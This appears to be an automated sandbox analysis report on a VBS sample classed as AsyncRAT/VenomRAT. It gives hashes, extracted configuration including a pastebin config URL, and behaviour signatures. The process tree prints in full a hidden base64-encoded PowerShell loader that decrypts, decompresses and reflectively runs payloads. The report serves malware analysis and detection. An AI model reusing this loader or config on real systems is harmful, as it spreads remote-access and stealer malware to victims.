Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    94s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/03/2025, 14:14

General

  • Target

    d28c3371542ec4275020001c02ae26f41d0a11109375cffee6d22f56b9fc5259.vbs

  • Size

    98KB

  • MD5

    33e243596a995b134c3862d2746d3a3a

  • SHA1

    dc51212190c79cd89cfb6a629e3f7299673fa003

  • SHA256

    d28c3371542ec4275020001c02ae26f41d0a11109375cffee6d22f56b9fc5259

  • SHA512

    545089424ea61e9c3871a75170d8695331bd991bf7fe8d10a5dd9a136db8b2015f9083faf86023c751550a9faa44ceb6ebfe5b6ae2d593d4261678eaa5a739c5

  • SSDEEP

    1536:PxfjFMLSEGgcX4XTA66MrhZLVzsBjuBl6D584BuvQNkHGwhJiz1U8x8x0yCzkIXG:PxGfjjLVzsBKB+uvNHTAaw8CyWVG

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

MARCH LOGS

Mutex

twgsnmvpigkpbmcqqk

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %AppData%

  • pastebin_config

    https://pastebin.com/raw/93hjERwM

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Asyncrat family
  • VenomRAT 1 IoCs

    Detects VenomRAT.

  • Venomrat family
  • Async RAT payload 1 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\d28c3371542ec4275020001c02ae26f41d0a11109375cffee6d22f56b9fc5259.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4100
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8byJYfE.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1900
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\8byJYfE.bat"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3260
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHVzZXJOYW1lID0gJGVudjpVU0VSTkFNRTskbG95b28gPSAiQzpcVXNlcnNcJHVzZXJOYW1lXGR3bS5iYXQiO2lmIChUZXN0LVBhdGggJGxveW9vKSB7ICAgIFdyaXRlLUhvc3QgIkJhdGNoIGZpbGUgZm91bmQ6ICRsb3lvbyIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAkZmlsZUxpbmVzID0gW1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbExpbmVzKCRsb3lvbywgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOCk7ICAgIGZvcmVhY2ggKCRsaW5lIGluICRmaWxlTGluZXMpIHsgICAgICAgIGlmICgkbGluZSAtbWF0Y2ggJ146OjogPyguKykkJykgeyAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRldGVjdGVkIGluIHRoZSBiYXRjaCBmaWxlLiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAgICAgICAgIHRyeSB7ICAgICAgICAgICAgICAgICRkZWNvZGVkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtYXRjaGVzWzFdLlRyaW0oKSk7ICAgICAgICAgICAgICAgICRpbmplY3Rpb25Db2RlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGRlY29kZWRCeXRlcyk7ICAgICAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRlY29kZWQgc3VjY2Vzc2Z1bGx5LiIgLUZvcmVncm91bmRDb2xvciBHcmVlbjsgICAgICAgICAgICAgICAgV3JpdGUtSG9zdCAiRXhlY3V0aW5nIGluamVjdGlvbiBjb2RlLi4uIiAtRm9yZWdyb3VuZENvbG9yIFllbGxvdzsgICAgICAgICAgICAgICAgSW52b2tlLUV4cHJlc3Npb24gJGluamVjdGlvbkNvZGU7ICAgICAgICAgICAgICAgIGJyZWFrOyAgICAgICAgICAgIH0gY2F0Y2ggeyAgICAgICAgICAgICAgICBXcml0ZS1Ib3N0ICJFcnJvciBkdXJpbmcgZGVjb2Rpbmcgb3IgZXhlY3V0aW5nIGluamVjdGlvbiBjb2RlOiAkXyIgLUZvcmVncm91bmRDb2xvciBSZWQ7ICAgICAgICAgICAgfTsgICAgICAgIH07ICAgIH07fSBlbHNlIHsgICAgICBXcml0ZS1Ib3N0ICJTeXN0ZW0gRXJyb3I6IEJhdGNoIGZpbGUgbm90IGZvdW5kOiAkbG95b28iIC1Gb3JlZ3JvdW5kQ29sb3IgUmVkOyAgICBleGl0O307ZnVuY3Rpb24geXB2anooJHBhcmFtX3Zhcil7CSRhZXNfdmFyPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkFlc106OkNyZWF0ZSgpOwkkYWVzX3Zhci5Nb2RlPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7CSRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzsJJGFlc192YXIuS2V5PVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ0I1OTMwTk16K2RyZWpZMFNUbTcyRWlyazdtWUtyV0EzYkoxRmFyT2FtVmM9Jyk7CSRhZXNfdmFyLklWPVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ2lDeUF0MytKQTFhQnNFeDliOWd6NGc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gdGl3cmkoJHBhcmFtX3Zhcil7CSR0em9oZz1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOwkkZGN4YWk9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtOwkkeHZ6ZnE9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uR1ppcFN0cmVhbSgkdHpvaGcsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsJJHh2emZxLkNvcHlUbygkZGN4YWkpOwkkeHZ6ZnEuRGlzcG9zZSgpOwkkdHpvaGcuRGlzcG9zZSgpOwkkZGN4YWkuRGlzcG9zZSgpOwkkZGN4YWkuVG9BcnJheSgpO31mdW5jdGlvbiBucnRnbSgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJJGtyZWZ3PVtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OignZGFvTCdbLTEuLi00XSAtam9pbiAnJykoW2J5dGVbXV0kcGFyYW1fdmFyKTsJJGxidG5pPSRrcmVmdy5FbnRyeVBvaW50OwkkbGJ0bmkuSW52b2tlKCRudWxsLCAkcGFyYW0yX3Zhcik7fSRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJGxveW9vOyR2cmdqej1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJGxveW9vKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkdWlrIGluICR2cmdqeikgewlpZiAoJHVpay5TdGFydHNXaXRoKCc6OiAnKSkJewkJJGl3em14PSR1aWsuU3Vic3RyaW5nKDMpOwkJYnJlYWs7CX19JG9uZW15PVtzdHJpbmdbXV0kaXd6bXguU3BsaXQoJ1wnKTskdndkaXE9dGl3cmkgKHlwdmp6IChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJG9uZW15WzBdKSkpOyRqY2ZwYz10aXdyaSAoeXB2anogKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkb25lbXlbMV0pKSk7bnJ0Z20gJHZ3ZGlxICRudWxsO25ydGdtICRqY2ZwYyAoLFtzdHJpbmdbXV0gKCclKicpKTs=')) | Invoke-Expression"
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Drops startup file
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:4764

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\8byJYfE.bat

    Filesize

    88KB

    MD5

    3d0e294629c4b980cd16801696dc84cc

    SHA1

    24b01453f405ca41d30c484cc7ef72a2d082d54a

    SHA256

    d4f97ee756677f0c7e58b5528f4b70b58e8fd5c9929af6f9148d9e3c3df5ae2a

    SHA512

    f146cfe93b3bdd562542ef1150f81c0d8c3c852d78b770b77a47815e4b99005aba8e2a55134d6b7ed0be192402ca7b6ceb831e3b2bc66a599a20eb15c6e5ea5f

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_velhq5vq.rom.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/4764-29-0x0000000006DD0000-0x0000000006DF2000-memory.dmp

    Filesize

    136KB

  • memory/4764-32-0x00000000071F0000-0x0000000007282000-memory.dmp

    Filesize

    584KB

  • memory/4764-9-0x0000000075030000-0x00000000757E0000-memory.dmp

    Filesize

    7.7MB

  • memory/4764-10-0x0000000075030000-0x00000000757E0000-memory.dmp

    Filesize

    7.7MB

  • memory/4764-11-0x0000000004F10000-0x0000000004F32000-memory.dmp

    Filesize

    136KB

  • memory/4764-12-0x0000000005610000-0x0000000005676000-memory.dmp

    Filesize

    408KB

  • memory/4764-13-0x0000000005680000-0x00000000056E6000-memory.dmp

    Filesize

    408KB

  • memory/4764-7-0x00000000027F0000-0x0000000002826000-memory.dmp

    Filesize

    216KB

  • memory/4764-23-0x00000000058A0000-0x0000000005BF4000-memory.dmp

    Filesize

    3.3MB

  • memory/4764-24-0x0000000005DB0000-0x0000000005DCE000-memory.dmp

    Filesize

    120KB

  • memory/4764-25-0x0000000005E00000-0x0000000005E4C000-memory.dmp

    Filesize

    304KB

  • memory/4764-26-0x0000000007510000-0x0000000007B8A000-memory.dmp

    Filesize

    6.5MB

  • memory/4764-27-0x0000000006300000-0x000000000631A000-memory.dmp

    Filesize

    104KB

  • memory/4764-28-0x0000000006E90000-0x0000000006F26000-memory.dmp

    Filesize

    600KB

  • memory/4764-8-0x0000000004F70000-0x0000000005598000-memory.dmp

    Filesize

    6.2MB

  • memory/4764-6-0x000000007503E000-0x000000007503F000-memory.dmp

    Filesize

    4KB

  • memory/4764-34-0x00000000071D0000-0x00000000071E2000-memory.dmp

    Filesize

    72KB

  • memory/4764-33-0x00000000071C0000-0x00000000071C8000-memory.dmp

    Filesize

    32KB

  • memory/4764-30-0x0000000007B90000-0x0000000008134000-memory.dmp

    Filesize

    5.6MB

  • memory/4764-36-0x00000000073F0000-0x0000000007408000-memory.dmp

    Filesize

    96KB

  • memory/4764-38-0x0000000075030000-0x00000000757E0000-memory.dmp

    Filesize

    7.7MB

  • memory/4764-39-0x00000000083E0000-0x00000000083EA000-memory.dmp

    Filesize

    40KB

  • memory/4764-40-0x0000000075030000-0x00000000757E0000-memory.dmp

    Filesize

    7.7MB

  • memory/4764-43-0x0000000008570000-0x000000000860C000-memory.dmp

    Filesize

    624KB

  • memory/4764-44-0x000000007503E000-0x000000007503F000-memory.dmp

    Filesize

    4KB

  • memory/4764-45-0x0000000075030000-0x00000000757E0000-memory.dmp

    Filesize

    7.7MB

  • memory/4764-46-0x0000000075030000-0x00000000757E0000-memory.dmp

    Filesize

    7.7MB

  • memory/4764-48-0x0000000075030000-0x00000000757E0000-memory.dmp

    Filesize

    7.7MB

  • memory/4764-49-0x0000000075030000-0x00000000757E0000-memory.dmp

    Filesize

    7.7MB

  • memory/4764-50-0x0000000075030000-0x00000000757E0000-memory.dmp

    Filesize

    7.7MB

  • memory/4764-52-0x0000000075030000-0x00000000757E0000-memory.dmp

    Filesize

    7.7MB